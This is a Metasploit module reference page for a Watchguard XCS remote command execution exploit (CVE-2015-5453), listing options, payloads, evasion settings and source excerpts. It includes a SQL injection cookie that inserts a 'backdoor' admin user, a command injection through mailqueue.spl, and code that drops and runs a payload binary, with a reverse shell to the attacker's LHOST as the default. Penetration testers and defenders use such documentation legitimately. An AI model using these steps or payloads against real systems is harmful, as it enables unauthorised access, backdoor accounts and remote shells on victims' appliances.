Watchguard XCS Remote Command Execution - Metasploit
This page contains detailed information about how to use the exploit/freebsd/http/watchguard_cmd_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Watchguard XCS Remote Command Execution
Module: exploit/freebsd/http/watchguard_cmd_exec
Source code: modules/exploits/freebsd/http/watchguard_cmd_exec.rb
Disclosure date: 2015-06-29
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): x64
Supported platform(s): BSD
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2015-5453
This module exploits two separate vulnerabilities found in the Watchguard XCS virtual appliance to gain command execution. By exploiting an unauthenticated SQL injection, a remote attacker may insert a valid web user into the appliance database, and get access to the web interface. On the other hand, a vulnerability in the web interface allows the attacker to inject operating system commands as the 'nobody' user.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/freebsd/http/watchguard_cmd_exec
msf exploit(watchguard_cmd_exec) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the freebsd/http/watchguard_cmd_exec exploit module looks in the msfconsole:
msf6 > use exploit/freebsd/http/watchguard_cmd_exec
[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(freebsd/http/watchguard_cmd_exec) > show info
Name: Watchguard XCS Remote Command Execution
Module: exploit/freebsd/http/watchguard_cmd_exec
Platform: BSD
Arch: x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2015-06-29
Provided by:
Daniel Jensen <[email protected]>
Available targets:
Id Name
-- ----
0 Watchguard XCS 9.2/10.0
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTPDELAY 10 yes Time that the HTTP Server will wait for the payload request
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The target URI
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
WATCHGUARD_PASSWORD backdoor yes Web interface user password
WATCHGUARD_USER backdoor yes Web interface user account to add
Payload information:
Description:
This module exploits two separate vulnerabilities found in the
Watchguard XCS virtual appliance to gain command execution. By
exploiting an unauthenticated SQL injection, a remote attacker may
insert a valid web user into the appliance database, and get access
to the web interface. On the other hand, a vulnerability in the web
interface allows the attacker to inject operating system commands as
the 'nobody' user.
References:
https://nvd.nist.gov/vuln/detail/CVE-2015-5453
http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf
Module Options
This is a complete list of options available in the freebsd/http/watchguard_cmd_exec exploit:
msf6 exploit(freebsd/http/watchguard_cmd_exec) > show options
Module options (exploit/freebsd/http/watchguard_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
HTTPDELAY 10 yes Time that the HTTP Server will wait for the payload request
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The target URI
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
WATCHGUARD_PASSWORD backdoor yes Web interface user password
WATCHGUARD_USER backdoor yes Web interface user account to add
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Watchguard XCS 9.2/10.0
Advanced Options
Here is a complete list of advanced options supported by the freebsd/http/watchguard_cmd_exec exploit:
msf6 exploit(freebsd/http/watchguard_cmd_exec) > show advanced
Module advanced options (exploit/freebsd/http/watchguard_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
ARCH no The architecture that is being targeted
PLATFORM no The platform that is being targeted
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the freebsd/http/watchguard_cmd_exec module can exploit:
msf6 exploit(freebsd/http/watchguard_cmd_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Watchguard XCS 9.2/10.0
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the freebsd/http/watchguard_cmd_exec exploit:
msf6 exploit(freebsd/http/watchguard_cmd_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/bsd/x64/exec normal No BSD x64 Execute Command
1 payload/bsd/x64/shell_bind_ipv6_tcp normal No BSD x64 Command Shell, Bind TCP Inline (IPv6)
2 payload/bsd/x64/shell_bind_tcp normal No BSD x64 Shell Bind TCP
3 payload/bsd/x64/shell_bind_tcp_small normal No BSD x64 Command Shell, Bind TCP Inline
4 payload/bsd/x64/shell_reverse_ipv6_tcp normal No BSD x64 Command Shell, Reverse TCP Inline (IPv6)
5 payload/bsd/x64/shell_reverse_tcp normal No BSD x64 Shell Reverse TCP
6 payload/bsd/x64/shell_reverse_tcp_small normal No BSD x64 Command Shell, Reverse TCP Inline
7 payload/generic/custom normal No Custom Payload
8 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
9 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the freebsd/http/watchguard_cmd_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(freebsd/http/watchguard_cmd_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Error Messages
- Could not inject command, may not be vulnerable
- Could not get login page.
- Could not find login hash or cookie
- Could not connect to host
- ERROR: duplicate key value violates unique constraint
- Unable to add user to database
- Missing a session cookie when attempting to execute command.
- Failed to exploit command injection.
- Failed to login, attempting to add backdoor user...
- Failed to add user account to database.
- Unable to login with user account.
- Finished primer hook, raising Timeout::Error manually
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Could not inject command, may not be vulnerable
Here is a relevant code snippet related to the "Could not inject command, may not be vulnerable" error message:
81: print_good('Successfully logged in')
82:
83: # Check if cmd injection works
84: test_cmd_inj = send_cmd_exec('/ADMIN/mailqueue.spl', 'id')
85: unless test_cmd_inj && test_cmd_inj.body.include?('uid=65534')
86: fail_with(Failure::UnexpectedReply, 'Could not inject command, may not be vulnerable')
87: end
88:
89: # We have cmd exec, stand up an HTTP server and deliver the payload
90: vprint_status('Getting ready to drop binary on appliance')
91:
Could not get login page.
Here is a relevant code snippet related to the "Could not get login page." error message:
106: get_login_hash = send_request_cgi({
107: 'uri' => normalize_uri(target_uri.path, '/login.spl')
108: })
109:
110: unless get_login_hash && get_login_hash.body
111: fail_with(Failure::Unreachable, 'Could not get login page.')
112: end
113:
114: #Find the hash token needed to login
115: login_hash = ''
116: get_login_hash.body.each_line do |line|
Could not find login hash or cookie
Here is a relevant code snippet related to the "Could not find login hash or cookie" error message:
119: break
120: end
121:
122: sid_cookie = (get_login_hash.get_cookies || '').scan(/sid=(\w+);/).flatten[0] || ''
123: if login_hash == '' || sid_cookie == ''
124: fail_with(Failure::UnexpectedReply, 'Could not find login hash or cookie')
125: end
126:
127: login_post = {
128: 'u' => "#{username}",
129: 'pwd' => "#{pwd_clear}",
Could not connect to host
Here is a relevant code snippet related to the "Could not connect to host" error message:
156: 'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'),
157: 'cookie' => "sid=1%3BINSERT INTO sds_users (self, login, password, org, priv_level, quota, disk_usage) VALUES(#{user_id}, '#{username}', '#{pwd_hash}', 0, 'server_admin', 0, 0)--"
158: })
159:
160: unless res && res.body
161: fail_with(Failure::Unreachable, "Could not connect to host")
162: end
163:
164: if res.body.include?('ERROR: duplicate key value violates unique constraint')
165: print_status("Added backdoor user, credentials => #{username}:#{pwd_clear}")
166: else
ERROR: duplicate key value violates unique constraint
Here is a relevant code snippet related to the "ERROR: duplicate key value violates unique constraint" error message:
159:
160: unless res && res.body
161: fail_with(Failure::Unreachable, "Could not connect to host")
162: end
163:
164: if res.body.include?('ERROR: duplicate key value violates unique constraint')
165: print_status("Added backdoor user, credentials => #{username}:#{pwd_clear}")
166: else
167: fail_with(Failure::UnexpectedReply, 'Unable to add user to database')
168: end
169:
Unable to add user to database
Here is a relevant code snippet related to the "Unable to add user to database" error message:
162: end
163:
164: if res.body.include?('ERROR: duplicate key value violates unique constraint')
165: print_status("Added backdoor user, credentials => #{username}:#{pwd_clear}")
166: else
167: fail_with(Failure::UnexpectedReply, 'Unable to add user to database')
168: end
169:
170: true
171: end
172:
Missing a session cookie when attempting to execute command.
Here is a relevant code snippet related to the "Missing a session cookie when attempting to execute command." error message:
181: end
182:
183: def send_cmd_exec(uri, os_cmd, blocking = true)
184: #This is a handler function that makes HTTP calls to exploit the command injection issue
185: unless @sid
186: fail_with(Failure::Unknown, 'Missing a session cookie when attempting to execute command.')
187: end
188:
189: opts = {
190: 'uri' => normalize_uri(target_uri.path, "#{uri}"),
191: 'cookie' => "sid=#{@sid}",
Failed to exploit command injection.
Here is a relevant code snippet related to the "Failed to exploit command injection." error message:
202: res = send_request_cgi(opts, 1)
203: end
204:
205: #Handle cmd exec failures
206: if res.nil? && blocking
207: fail_with(Failure::Unknown, 'Failed to exploit command injection.')
208: end
209:
210: res
211: end
212:
Failed to login, attempting to add backdoor user...
Here is a relevant code snippet related to the "Failed to login, attempting to add backdoor user..." error message:
218:
219: sid_cookie = attempt_login(username, pwd_clear)
220:
221: return sid_cookie unless sid_cookie.nil?
222:
223: vprint_error('Failed to login, attempting to add backdoor user...')
224: pwd_hash = generate_device_hash(pwd_clear)
225:
226: unless add_user(user_id, username, pwd_hash, pwd_clear)
227: fail_with(Failure::Unknown, 'Failed to add user account to database.')
228: end
Failed to add user account to database.
Here is a relevant code snippet related to the "Failed to add user account to database." error message:
222:
223: vprint_error('Failed to login, attempting to add backdoor user...')
224: pwd_hash = generate_device_hash(pwd_clear)
225:
226: unless add_user(user_id, username, pwd_hash, pwd_clear)
227: fail_with(Failure::Unknown, 'Failed to add user account to database.')
228: end
229:
230: sid_cookie = attempt_login(username, pwd_clear)
231:
232: unless sid_cookie
Unable to login with user account.
Here is a relevant code snippet related to the "Unable to login with user account." error message:
228: end
229:
230: sid_cookie = attempt_login(username, pwd_clear)
231:
232: unless sid_cookie
233: fail_with(Failure::Unknown, 'Unable to login with user account.')
234: end
235:
236: sid_cookie
237: end
238:
Finished primer hook, raising Timeout::Error manually
Here is a relevant code snippet related to the "Finished primer hook, raising Timeout::Error manually" error message:
257:
258: exec_cmd = "/tmp/#{filename}"
259: vprint_status('Running the payload...')
260: send_cmd_exec('/ADMIN/mailqueue.spl', exec_cmd, false)
261:
262: vprint_status('Finished primer hook, raising Timeout::Error manually')
263: raise(Timeout::Error)
264: end
265:
266: #Handle incoming requests from the server
267: def on_request_uri(cli, request)
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10299 Merged Pull Request: Add 88 CVEs to various auxiliary and exploit modules
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7507 Merged Pull Request: Refactor arch/platform, refactor TLV XOR, add UUID to each packet, fix payload uuid/arch/platform tracking, and update everything to match
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6331 Merged Pull Request: Fix #6330, generate_payload_exe returning nil for generic bind/reverse payloads
- #6083 Merged Pull Request: Fix autofilter values for aggressive modules
- #5638 Merged Pull Request: Add Watchguard XCS unauthenticated remote root module.
References
See Also
Check also the following modules related to this module:
- exploit/freebsd/local/watchguard_fix_corrupt_mail
- exploit/freebsd/http/citrix_dir_traversal_rce
- exploit/freebsd/local/rtld_execl_priv_esc
- exploit/bsd/finger/morris_fingerd_bof
- payload/bsd/sparc/shell_bind_tcp
- payload/bsd/sparc/shell_reverse_tcp
- payload/bsd/vax/shell_reverse_tcp
- payload/bsd/x64/exec
- payload/bsd/x64/shell_bind_ipv6_tcp
- payload/bsd/x64/shell_bind_tcp
- payload/bsd/x64/shell_bind_tcp_small
- payload/bsd/x64/shell_reverse_ipv6_tcp
- payload/bsd/x64/shell_reverse_tcp
- payload/bsd/x64/shell_reverse_tcp_small
- payload/bsd/x86/exec
- payload/bsd/x86/metsvc_bind_tcp
- payload/bsd/x86/metsvc_reverse_tcp
- payload/bsd/x86/shell/bind_ipv6_tcp
- payload/bsd/x86/shell/bind_tcp
- payload/bsd/x86/shell_bind_tcp
- payload/bsd/x86/shell_bind_tcp_ipv6
- payload/bsd/x86/shell_find_port
- payload/bsd/x86/shell/find_tag
- payload/bsd/x86/shell_find_tag
- payload/bsd/x86/shell/reverse_ipv6_tcp
- payload/bsd/x86/shell/reverse_tcp
- payload/bsd/x86/shell_reverse_tcp
- payload/bsd/x86/shell_reverse_tcp_ipv6
- post/bsd/gather/hashdump
Authors
- Daniel Jensen <daniel.jensen[at]security-assessment.com>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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